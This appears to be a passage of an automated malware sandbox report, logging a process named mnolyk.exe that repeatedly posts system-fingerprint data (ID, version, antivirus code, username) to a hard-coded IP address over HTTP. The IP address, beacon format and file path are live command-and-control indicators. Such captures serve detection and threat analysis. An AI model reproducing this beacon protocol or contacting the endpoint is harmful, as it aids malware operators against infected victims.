Feb 8, 2023 21:33:06.167681932 CET	565	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:06.233010054 CET	565	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.3	50069	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:06.449832916 CET	566	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:06.514261007 CET	566	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.3	50070	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:06.689347982 CET	567	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:06.753258944 CET	567	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.3	50071	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:06.945888042 CET	568	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:07.008430958 CET	568	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.3	50072	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:07.195107937 CET	569	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:07.262188911 CET	569	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49739	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:25.862579107 CET	238	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:25.926588058 CET	238	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.3	50073	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:07.436064959 CET	570	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:07.504116058 CET	570	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.3	50074	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:07.684649944 CET	571	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:07.747404099 CET	571	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.3	50075	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:07.920020103 CET	572	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:07.983623028 CET	572	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.3	50076	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:08.154937029 CET	573	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:08.217927933 CET	573	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.2.3	50077	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:08.402072906 CET	574	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:08.466217995 CET	574	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.3	50078	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:08.649501085 CET	575	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:08.713500977 CET	575	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.2.3	50079	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:08.887763977 CET	576	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:08.950818062 CET	576	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.2.3	50080	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:09.144078970 CET	577	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:09.207382917 CET	577	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.3	50081	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:09.395226955 CET	578	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:09.459316969 CET	578	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.2.3	50082	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:09.638220072 CET	579	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:09.703239918 CET	579	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49740	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:26.105437040 CET	239	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:26.169698000 CET	239	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.3	50083	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:09.880270004 CET	580	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:09.943525076 CET	580	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.2.3	50084	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:10.121092081 CET	581	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:10.185554981 CET	581	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.3	50085	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:10.354712963 CET	582	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:10.417748928 CET	582	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.2.3	50086	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:10.598459005 CET	583	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:10.661725044 CET	583	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.3	50087	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:10.839510918 CET	584	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:10.902750969 CET	584	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.2.3	50088	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
